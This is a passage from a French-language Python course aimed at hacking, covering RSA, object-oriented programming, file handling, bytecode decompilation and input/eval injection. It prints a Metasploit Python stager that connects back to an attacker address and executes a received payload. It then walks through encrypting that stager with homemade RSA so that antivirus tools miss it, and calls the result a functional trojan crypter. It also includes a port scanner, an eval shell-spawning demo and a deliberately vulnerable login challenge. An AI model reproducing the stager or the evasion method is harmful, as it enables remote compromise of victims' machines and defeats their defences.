Toujours au sein de cette même fonction clef, on déclare une variable nommée phi, égale au produit de (p – 1) et de (q – 1) (autrement dit pour les matheux, il s’agit de l’indicatrice d’Euler en n, comptant le nombre de nombres premiers avec n sur l’intervalle [1, n]).

On cherche ensuite à déterminer l’exposant de chiffrement e. Pour ce faire, on le détermine un peu aléatoirement (une boucle testant les possibilités les plus appropriées serait indéniablement beaucoup plus pratique) tel que e < phi et PGCD(phi, e) = 1 (⇔ φ(n) et e sont premiers entre eux).

Puis on détermine d, l’exposant de déchiffrement, tel que (e * d) % phi = 1 (⇔ ). Enfin, la fonction renvoie un tuple contenant dans l’ordre e, d et n. C’est tout pour la partie complexe, j’espère ne pas trop vous avoir perdu.

On écrit ensuite une fonction rsa_cyp(msg, e=0, n=0) qui chiffre le message de la méthode suivante :

On écrit ensuite la fonction inverse, rsa_dec(L, d, n), tel que :

>>> resultat = "".join(liste)

Arrêtons avec les maths avant que certains ne s’éclatent la tête contre un mur. Je vous avais dit qu’aucune réponse ne serait donnée ; dans ma grande clémence, je vous offre ces précieuses fonctions toutes faites, ou du moins quelques bribes pour vous aider.

from ... import ...

def clef():
   # Cette fonction génère les clefs publiques et privées
   # Elle les renvoie sous forme d'un tuple, accompagné de n
   p  = premier(..., ...)
   q  = premier(..., ...)
   n  = ... * q
   phi = (p - ...) * (... - 1)
   # On définit e, exposant de chiffrement
   while True:
       e = random.randint(2, n)
       if pgcd(e, ...) == 1 and e < phi:
           break
   # On définit d, exposant de déchiffrement
   ... i ... range(phi):
       if (i * e) % phi == ...:
           d = i
           break
   ... (e, d, ...)

Remplacez les zones marquées par … par les vraies valeurs attendues dans le code. Vous aurez à réutiliser certaines notions vues précédemment, comme toujours. Les fonctions rsa_cyp et rsa_dec étant plus simple à appréhender, je vous laisse les écrire vous-mêmes.

Je vous avais promis que nous allions chiffrer un trojan, et je tiens à garder parole auprès de vous. Nous allons utiliser un cheval de Troie généré par Metasploit :

import socket, zlib, base64, struct, time 
for x in range(10): 
    try: 
        s = socket.socket(2, socket.SOCK_STREAM) 
        s.connect(('192.168.1.1', 4200)) 
        break 
    except: 
        time.sleep(5) 
l = struct.unpack('>I', s.recv(4))[0] 
d = s.recv(l) 
while len(d) < l: 
    d += s.recv(l - len(d)) 
exec(zlib.decompress(base64.b64decode(d)), {'s':s})

NOTE : Remplacez bien ‘192.168.1.1’ et 4200 par les valeurs attendues à la fin dans Metasploit si vous voulez vraiment que le trojan fonctionne.

Ce bout de code, offert gracieusement et surtout gratuitement par Metasploit, tente d’abord d’ouvrir une connexion sur la machine du pirate depuis celle de la victime, on parle d’un test de connectivité, puis réceptionne le shellcode envoyé par le service de Metasploit prévu à cet effet.

Ce code est anodin pour un virus (dans certaines mesures), et donc très facilement reconnaissable pour un logiciel de protection. C’est pourquoi nous allons utiliser notre fonction rsa_cyp pour le chiffrer et ainsi outre-passer les antivirus utilisant la reconnaissance par paternes de codes.

Coller le code du virus dans un fichier (en ayant modifié l’IP et le port), nous allons le modifier en utilisant les fonctions liées aux fichiers, mais ça, vous le verrez dans le prochain chapitre. Pour décompresser, je vous propose d’exprimer votre âme d’artiste en utilisant le module turtle.

NOTE : Turtle est généralement installé par défaut sur la plupart des distributions Linux. Si ce n’est pas le cas, un rapide $ pip install turtle suffira.

Les instructions du module sont simples à utiliser :

#!/bin/python
import turtle as t

t.up()       # Lève le crayon (arrête d'écrire)
t.down()     # Baisse le crayon (recommence à écrire)
t.goto(x, y) # Déplace le curseur en (x; y)
t.fd(n)      # Avance de n pixels dans la direction du curseur
t.back(n)    # Avance de n pixels dans la direction opposée
t.rt(a)      # Effectue une rotation de a degrés

NOTE : Si vous voulez admirer vos chefs-d’œuvre plus longuement, vous devriez songer à utiliser le module time et sa méthode time.sleep(n) permettant d’attendre n secondes. Cela empêchera la fenêtre de se fermer.

Par exemple, le code pour dessiner un carré de 50 pixels de longueur sera :

#!/bin/python
import turtle as t

for i in range(4):
    t.fd(50)
    t.rt(90)

Vous ne devriez avoir aucun mal à reproduire les figures suivantes :

Pour le dernier cas, il s’agit d’un fractal appelé Flocon de Koch, pensez donc adapter le tracé en fonction d’un degré n. Pour ce faire, utilisez les fonctions récursives comme nous l’avons appris, c’est un exercice dur mais réalisable, ne vous attardez cependant pas un siècle et demi dessus ; Le plus important dans ce chapitre est l’utilisation des modules Python.

Programmation Orientée Objet

Nous avons déjà abordé la notion d’objet et de programmation orientée objet dans le chapitre précédent. Vous savez que n’importe quel élément, à l’exception des mots-clef, sont des objets, et qu’en tant que tel, ils possèdent des méthodes que l’on peut appeler.

Vous savez également que le meilleur moyen pour avoir accès à la liste des méthodes d’un objet est de taper :

>>> dir(obj)

Et que vous pouvez avoir accès aux indications laissées par le développeur avec :

>>> help(obj.methode)

Vous êtes également au courant qu’il existe une infinité d’objets… Quoique, non ! Je ne vous l’avais pas dit, ou plutôt, vous l’avais caché. En Python, n’importe qui peut créer des objets grâce à ce que l’on appelle les classes.

Ces dernières permettent de générer à la chaîne des objets se ressemblant, ou du moins, possédant exactement les mêmes attributs et fonctions. Pour en déclarer une, on utilise le mot-clef class comme ceci :

class ma_classe:
    pass

Cette classe ne fait rien et n’a strictement aucune utilité dans un programme, mais nous allons la faire évoluer pour vous aider à comprendre.

Avec notre classe, nous pouvons instancier un premier objet x :

x = ma_classe()

Ça ne vous a pas échappé, mais la manière dont on définit un objet est similaire à la manière dont on appelle une fonction. Cette syntaxe est due à la construction même d’un objet en Python. En effet, si on jette un rapide coup d’oeil à la liste des méthodes de x avec :

dir(x)

On remarque que plusieurs attributs et fonctions sont présents, alors même que nous n’en avons déclarés aucun. Un d’entre eux, nommé __init__, est une fonction permettant de déclarer un objet. Nous pouvons la redéfinir dans la structure de notre classe :

#!/bin/python
class ma_classe:
    def __init__(self):
        pass

Dans cet exemple, la structure de x, s’il est redéfini, ne va pas changer ; En revanche, ces lignes sont un terreau très fertile pour nos futures expériences.

Le paramètre self de la fonction n’est pas vraiment une option, il est appelé à chaque fois par la fonction et correspond à l’objet en lui-même. N’importe quelle fonction au sein de notre classe devra appeler ce paramètre, sous ce nom ou un autre, tant qu’il est présent à la première place.

C’est donc grâce à cette fonction et à son paramètre que nous allons pouvoir initialiser de nouveaux attributs (et non fonctions) pour notre objet.

Par exemple :

#!/bin/python
class ma_classe:
    def __init__(self):
        self.valeur = 0

NOTE : Notez bien que quelle que soit la variable que vous voulez initialiser, si vous voulez quelle soit un attribut de l’objet, il faut noter son nom après self.

De la même manière, on peut déclarer des attributs à l’aide de valeurs qui seront donnés plus tard dans le code. Pour ça, il suffit d’ajouter des paramètres au sein de la fonction __init__, et d’utiliser les valeurs passer en paramètre pour définir les attributs de l’objet, comme ci-dessous :

#!/bin/python
class ma_classe:
    def __init__(self, valeur):
        self.valeur = valeur

Après avoir redéfini __init__, on peut dès maintenant utiliser cette nouvelle classe en définissant une fois de plus x :

x = ma_classe(0)
print(dir(x))

Le résultat sera le suivant :

['__class__', '__delattr__', ..., 'valeur']

On peut voir que le nouvel attribut « valeur » c’est greffé à notre liste. De plus, on peut avoir accès à sa valeur en tapant le nom de notre objet, suivi de celui de son attribut :

print(x.valeur)

Prenons maintenant un exemple concret d’utilisation de la programmation orientée objet. Imaginons que vous soyez concepteur de jeux-vidéo et que vous désiriez coder un jeu de combat entre plusieurs joueurs. L’utilisation des classes serait alors à privilégier, car à l’inverse des dictionnaires, les objets peuvent appeler des fonctions qui leur sont propres, ce qui permet de rajouter une certaine clarté à votre code.

Par exemple, on pourrait très bien avoir ce genre de classe :

#!/bin/python
class Personnage:
    def __init__(s, nom, race, vie):
        s.nom = nom
        s.race = race
        s.vie = vie
zeus = Personnage("Zeus", "Dieu", 1000)

NOTE : Le nom des classes commence par une majuscule, c’est une convention d’écriture. Vous pouvez également voir qu’ici, self a été renommé en s.

On pourrait également imaginer une fonction permettant de donner le statut de notre personnage, ce qui serait très pratique pour les joueurs. Ça tombe bien, la fonction __str__ permet de renvoyer la chaîne de caractère que l’on souhaite à propos de l’objet. Pour le moment, elle ne renvoie que le type d’objet de la variable, changeons donc la un peu :

#!/bin/python
class Personnage:
    def __init__(s, nom, race, vie):
        ...
    def __str__(s):
        return "Le personnage " + s.nom + " a " + str(s.vie) + " vies"

zeus = Personnage("Zeus", "Dieu", 1000)
print(zeus)

NOTE : La fonction native str() permet de transformer n’importe quel objet en chaîne de caractères.

WARN : Évitez d’utiliser directement print() dans __str__, la méthode peut être appelée avec la fonction str() et dans ce cas, elle ne renverrait rien.

Ce qui a pour effet :

Le personnage Zeus a 1000 vies

Vous l’aurez compris à l’aide des fonctions __init__ et __str__, toute fonction étant entourée de deux underscores de chaque côté dans son nom est une fonction native de la classe générée automatiquement que l’on peut changer à notre guise. Bien évidemment, vous pouvez créer vos propres fonctions, par exemple, imaginons que Zeus est à affronter de nombreux adversaires, une fonction dans la classe permettant de perdre de la vie serait bien pratique :

#!/bin/python
class Personnage:
    def __init__(s, nom, race, vie):
        ...
    def perdreVie(s, degats):
        s.vie -= degats

zeus = Personnage("Zeus", "Dieu", 1000)
zeus.perdreVie(50)
print(zeus)

On verra une diminution dans les points de vie de Zeus :

Le personnage Zeus a 950 vies

De manière générale, n’importe quel paramètre précédé de deux underscores sera invisible aux yeux de l’utilisateur lambda. Ainsi, vous pouvez très bien déclarer des attributs n’apparaissant pas dans le manuel à l’aide

#!/bin/python
import random as r
class Personnage:
    def __init__(s, nom, race, vie, force = r.randint(40, 80)):
        ...
        s.__force = force

zeus = Personnage("Zeus", "Dieu", 1000)

Avec ces deux underscores, nous empêchons aux utilisateurs de la classe d’utiliser les attributs de l’objet en dehors de la classe elle-même. Ainsi, la ligne suivante renverra une erreur :

zeus.__force = 100

C’est à peu près tout ce qu’il y a à savoir sur les objets et les classes. Passons à notre, désormais sacrée, séance d’exercices.

NOTE : N’oubliez pas d’ajouter une documentation à vos classes si jamais elles doivent être utilisées par d’autres utilisateurs.

Avant de reprendre notre petit bijou de code permettant de chiffrer nos trojans, je vous propose d’utiliser les classes dans le but de créer un programme de reconnaissance d’IP sur le réseau. Oui, c’est totalement une copie ratée de nmap que nous nous apprêtons à faire et non, ce ne sera pas très difficile, du moins, ce sera moins une prise de tête que notre logiciel chiffrant des chevaux de Troie.

Pour ce faire, on donnera la fonction ping à compléter ci-dessous :

#!/bin/python
import subprocess as sp
def ping(adrs):
    o = sp.getoutput("ping -c 4 " + adrs)
    # A compléter ...

On se servira de cette fonction pour savoir si une machine est joignable et si oui, en combien de temps le paquet y arrive. La valeur est ensuite stockée pour servir à décrire un objet machine ayant une adresse IP, une joignabilité (si on peut le ping, donc attribut à True ou False) et un temps de connexion pour le joindre.

A l’aide d’une interface par terminal, on propose à l’utilisateur, après lui avoir affiché les machines joignables depuis son réseau, d’en sélectionner une pour étudier les différents ports ouverts. On se basera pour ce faire sur la fonction suivante :

#!/bin/python
import socket
def portOuvert(ip, port):
    c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    return True if c.connect_ex((ip, port)) == 0 else False

Et voilà, notre petit analyseur de réseau marche comme sur des roulettes !

NOTE : Rajoutez des instructions pour sauvegarder la liste des ports ouverts dans l’objet Machine, et demander à l’utilisateur s’il veut effectuer une nouvelle fois l’analyse lorsqu’il redemandera la liste des ports de la machine.

Reprenons notre cheval de Troie, je sais que vous êtes impatient de le finir. Dans les chapitres précédents, nous avons programmé de quoi chiffrer ce petit trojan pour le rendre indétectable aux yeux des antivirus ; notre objectif va être maintenant de chiffrer notre code qui se trouve dans un fichier extérieur, et de rendre un brin plus compréhensible le résultat obtenu afin qu’il soit interprété par la machine de la victime.

À l’intérieur même du langage Python, il existe un type d’objet gérant les fichiers, nous permettant ainsi de les lire, de les créer ou encore de les modifier ou de les supprimer.

La syntaxe pour ouvrir un fichier sera la suivante :

f = open(chemin, mode)

« chemin » est la route à suivre pour arriver jusqu’au fichier depuis notre code python (dépend de l’emplacement du fichier python dans l’arborescence, ou de l’endroit où est ouvert l’interpréteur), « mode » renvoie à l’utilité que va avoir notre fichier ouvert dans notre code Python (lire, écrire, les deux, etc.). Il existe de nombreux modes dont voici une brève liste :

Pour lire notre trojan dans notre programme principal, le code sera donc :

fichier = open("trojan.py", 'r')
contenu = fichier.read()

« contenu » est ici une chaîne de caractères avec laquelle on va pouvoir jouer, et donc la modifier avec notre fonction rsa_cyp(). Le tuple renvoyé sera mis dans un nouveau fichier Python que notre programme va créer, il sera utilisé conjointement avec la fonction rsa_dec() qui sera collée ipso facto dans le même fichier.

Schématiquement, cela donne ceci :

Voilà ! Notre chiffreur de chevaux de Troie est fini. Ce fut une rude et longue épreuve pour tous. Il est désormais entièrement fonctionnel, libre à vous de le modifier pour y ajouter des fonctions.

NOTE : La partie sur la cryptographie regorge d’algorithmes pouvant être utilisés de la même manière que l’est RSA ici.

Compilation, décompilation et bytecode

Dans les deux derniers chapitres de ce module sur Python, nous allons étudier plus en profondeur le langage pour comprendre son fonctionnement. Cela vous servira à effectuer de la rétro-ingénierie sur des scripts pré-compilés et de l’exploitation de code comportant des failles liées à une mauvaise gestion.

Python est un langage dit interprété. Cela veut dire que les instructions sont retranscrites en langage machine au fur et à mesure qu’elles sont lues par Python. C’est donc une méthode d’action totalement opposée à celle d’autres langages dits compilés, qui vont dans un premier temps retranscrire les instructions en langages machines, puis laisser l’ordinateur interpréter le tout lorsque le fichier sera exécuté.

Cependant, bien que les instructions ne soient pas compilées (passage du code d’un langage plus humain au langage machine), afin de gagner du temps lors de l’exécution, Python va retranscrire notre code en bytecode.

Quand vous avez exécuté les codes des exemples, ou que vous avez vérifié que ce que vous aviez marqué pour les exercices fonctionnait, un dossier nommé __pycache__ est sûrement apparu, avec à l’intérieur un certain nombre de fichier portant l’extension .pyc. Étudions-les de plus près, et, dans un premier temps, générons un fichier pyc d’un programme simple.

Prenons comme programme la fonction suivante d’un fichier nommé salut.py :

def salut(): 
    print("Salut à toi utilisateur !") 
salut()

Afin de générer un fichier pyc à partir de ce code, il va falloir le compiler à l’aide du module py_compile, le tout dans l’interpréteur de Python :

>>> import py_compile 
>>> py_compile.compile("salut.py")
'__pycache__/salut.cpython-38pyc'

La dernière fonction de py_compile renvoie l’adresse à laquelle on peut retrouver notre fichier compilé (il y a de forte possibilité qu’elle soit totalement différente pour vous).

Essayons de le lire :

cat __pycache__/salut.cpython-38.pyc
o 
��b=�@sdd�Ze�dS)cCs 
                  td�dS)Nu▒Salut à toi utilisateur !)�print�rrsalut.py�saluts 
                                                                             rN)rrrrr<module>s

Avec un petit flux de redirection vers la commande strings, on peut rendre le résultat plus lisible, mais pas de quoi comprendre entièrement le code :

cat __pycache__/salut.cpython-38.pyc | strings
Salut
toi utilisateur !)
print
salut.py
salut
<module>

Afin de récupérer le code source original dans l’optique de faire de la rétro-ingénierie, on peut utiliser le module Uncompyle6. Malheureusement ce dernier n’est pour l’instant pas disponible pour les versions les plus récentes de Python, il faudra donc l’installer sur une version plus ancienne du langage (ici 3.8) :

add-apt-repository ppa:deadsnakes/ppa -y
apt update
apt install python3.8

WARN : Python est un langage qui évolue très vite, ne recopiez pas ces lignes sans réfléchir en pensant pouvoir avancer, adaptez-les de telle sorte à avoir la version de Python collant le plus à vos besoins (supportée par Uncompyle6)

On récupère pip pour installer Uncompyle6 plus simplement :

curl -sSL https://bootstrap.pypa.io/get-pip.py | python3.8

WARN : Évitez d’exécuter des fichiers téléchargés avec curl sans les avoir consultés avant. e vous demande de me faire confiance pour celui-ci, mais prêtez bien attention à l’avenir avec ce genre de méthodes pas très sécurisées.

On peut ensuite installer Uncompyle6 :

python3.8 -m pip install Uncompyle6

NOTE : appeler Python avec le paramètre -m permet d’utiliser un module.

Pour décompiler le code, il suffira alors d’exécuter la commande comme suit :

uncompyle6 __pycache__/salut.cpython-38.pyc
...
def salut():
   print('Salut à toi utilisateur !')

salut()
...

Nous venons ainsi de décompiler un code entier, ce qui nous a permis de retrouver sa version originale. Si l’utilité de la rétro-ingénierie en Python peut vous paraître dérisoire avec cet exemple, imaginez la situation suivante :

Vous avez découvert une machine avec un service ssh disponible sur le port 22. Ni une ni deux, vous énumérez les différents utilisateurs présents sur la machine pouvant se connecter au serveur. Il se trouve qu’un utilisateur nommé bob peut se connecter au système. Ce qui est étrange avec cet utilisateur, c’est que lorsqu’il se connecte, plutôt que d’utiliser les services proposés par Linux, il préfère se servir d’un petit script écrit dans vous ne savez quel langage.

Après un peu plus de réflexion, vous vous rendez compte que sur le serveur web de bob se trouve un fichier nommé connexion.min.pyc. Vous décidez de le télécharger et vous retrouvez en face de ce jeu de données :

Avec Uncompyle6, vous arrivez aisément à retrouver le code d’origine :

import os 

print("...") 
mdp = input('\n\nMot de passe de Bob : ') 

try: 
    mdp = int(mdp) 
except ValueError: 
    print("On voulait rentrer quelque chose d'autre ;)") 
    mdp = 0 

if mdp + 10 == 23: 
    os.system('sh') 
else: 
    print('Mot de passe incorrect !')

Le mot de passe est donc beaucoup plus clair, il suffit alors de rentrer 13 et le programme vous ouvre un shell. La rétro-ingénierie peut s’avérer très pratique pour ce genre de cas, mais ce n’est rien à côté des failles de sécurités présentes dans certaines versions de Python.

De même, vous pourrez voir certaines fois des bytecodes présents sous cette forme un peu spéciale :

 2           0 LOAD_CONST               1 (3)
             2 LOAD_FAST                0 (x)
             4 BINARY_MULTIPLY
             6 LOAD_CONST               2 (2)
             8 BINARY_ADD
            10 RETURN_VALUE

Cette syntaxe particulière est beaucoup plus lisible que ce que vous trouverez dans les pyc, mais n’étant pas compilé, vous ne pourrez donc pas utiliser Uncompyle6. A s’y méprendre, on pourrait la confondre avec de l’assembleur, ce petit langage faisant la jonction entre un langage compréhensible par l’Homme comme le C, et le langage binaire.

Malheureusement, il n’existe pas d’outils pour transformer efficacement ce genre de bytecode en code python utilisable et compréhensible. À la rigueur, vous pouvez transformer le fichier en pyc avec un programme comme python-xasm disponible sur Github, mais si ça ne marche pas, il faudra trouver d’autres solutions.

Il faudra donc convertir à la main ces bouts de codes, mais n’ayez crainte, ils suivent une certaine logique. Le nombre le plus à gauche renvoie au numéro de la ligne en Python, le fait que, dans l’exemple donné, ce nombre soit 2 signifie qu’il manque une ligne juste avant. Il y a donc de fortes probabilités que nous soyons dans une fonction au nom inconnu, appelons la f().

LOAD_CONST permet de charger une valeur, peu importe son type, LOAD_FAST permet de charger une variable et BINARY_[instruction] permet d’effectuer une opération mathématique (ex : BINARY_MULTIPLY = multiplication). Les trois premières lignes veulent donc dire 3 * x. Si on déchiffre la suite on obtient un +2 et un renvoie de valeur, nous sommes donc bien dans une fonction, ce qui veut dire que la première ligne est la déclaration de cette fonction, et de facto, x est un paramètre de cette fonction :

>>> def f(x):               
...     return 3 * x + 2

On peut très facilement retrouver l’assembleur d’un fichier avec le module dis :

>>> from dis import dis
>>> dis(f)
 2           0 LOAD_CONST               1 (3)
...

Différences entre version de Python et exploitation de fichiers

Maintenant que vous savez que le code Python peut être compilé pour gagner du temps dans l’interprétation des instructions, et que nous pouvons récupérer le code original d’un script compilé à l’aide d’un processus appelé la rétro-ingénierie, eh bien l’on peut dire que vous êtes bien renseigné sur ce langage.

Cependant, il reste un domaine que vous devez approfondir, celui des versions de Python. Tout à l’heure, vous avez pu voir que d’une version à l’autre de Python, certains modules ne sont plus disponibles, certaines fonctionnalités disparaissent, d’autres apparaissaient, et, si beaucoup de problèmes peuvent être résolus par la simple installation d’une version antérieure, parfois les choses ne sont pas si faciles.

Si Python change, c’est certes pour remettre au goût du jour certaines de ses syntaxes, par exemple l’affichage du texte qui est passé de ça :

print "mon texte"

À ça lors du passage de python2 à python3 :

print("mon texte")

Parfois ce sont des correctifs de sécurité qui sont apportés, l’un des plus importants fut celui de la fonction input(). Cette dernière était pourvue d’une fonctionnalité d’élévation de l’expression, ce qui la rendait vulnérable à l’injection de code. En d’autres termes, n’importe qui pouvait rentrer du code qui allait être exécuté par le script, et, si une telle faille n’a pas d’intérêt lorsqu’elle est exécutée sur notre ordinateur, elle en a beaucoup plus quand ce script permet une élévation de privilège où l’accès à une machine.

Je ne vous ai pas encore parlé de la fonction eval(). Elle permet d’obtenir le résultat d’une expression qu’on lui transmet sous la forme d’une chaîne de caractères, par exemple :

>>> eval("3+2")
5

Mais cela peut aussi se faire avec des blocs de code complet :

>>> import os
>>> eval("os.system('sh')") 
sh-5.1$

Alors imaginer un peu maintenant les dégats que peut faire une fonction input qui se comporte comme une demande d’injection de code…

Pour pallier à ce problème, les développeurs de python2 avaient créé la fonction raw_input qui n’effectuait pas une élévation de l’expression :

>>> raw_input("Rentrez une expression : ") 
Rentrez une expression : 5+5 
'5+5'

On peut dire que la fonction input était définie comme ci-dessous :

def input(expr):
    return eval(raw_input(expr))

Pour vérifier que vous avez bien compris les deux chapitres précédents, je vous propose un petit jeu. Le but est de réussir à vous identifier sur la machine (la vôtre) en usant de ruses et d’intelligences.

Copiez le code suivant dans un fichier :

#!/bin/python3
import os

def authentification():
   utilisateur = input("Nom d'utilisateur : ")
   if "sh" in utilisateur or "py" in utilisateur:
       print("Alors comme ça on essayait d'avoir un shell ;)")
       return False
   mdp = input("Mot de passe de " + str(eval(utilisateur)) + " : ")
   if len(utilisateur) >= 20 and not ' ' in utilisateur:
       if eval(utilisateur) == "MauriceBarrès":
           rep = [117, 6, 16, 67, 71, 16, 2, 11, 1, 76, 20, 83, 68]
           k = "9ce140dbf9f6761923af0f99ec27e758"
           mdp = [ord(c) for c in mdp]
           for i in range(len(mdp)):
               mdp[i] = mdp[i] ^ ord(k[i])
               if mdp[i] != rep[i]:
                   print("Mot de passe incorrect")
                   return False
           print("Bienvenue sur votre système ! ")
           os.system("sh")
       else:
           print("Ce nom n'est pas connu de notre base :(")
   else:
       print("Il semblerait que quelque chose se soit mal passé")

authentification()

Bonne chance et bien joué pour avoir lu en entier ce module sur Python ! 👍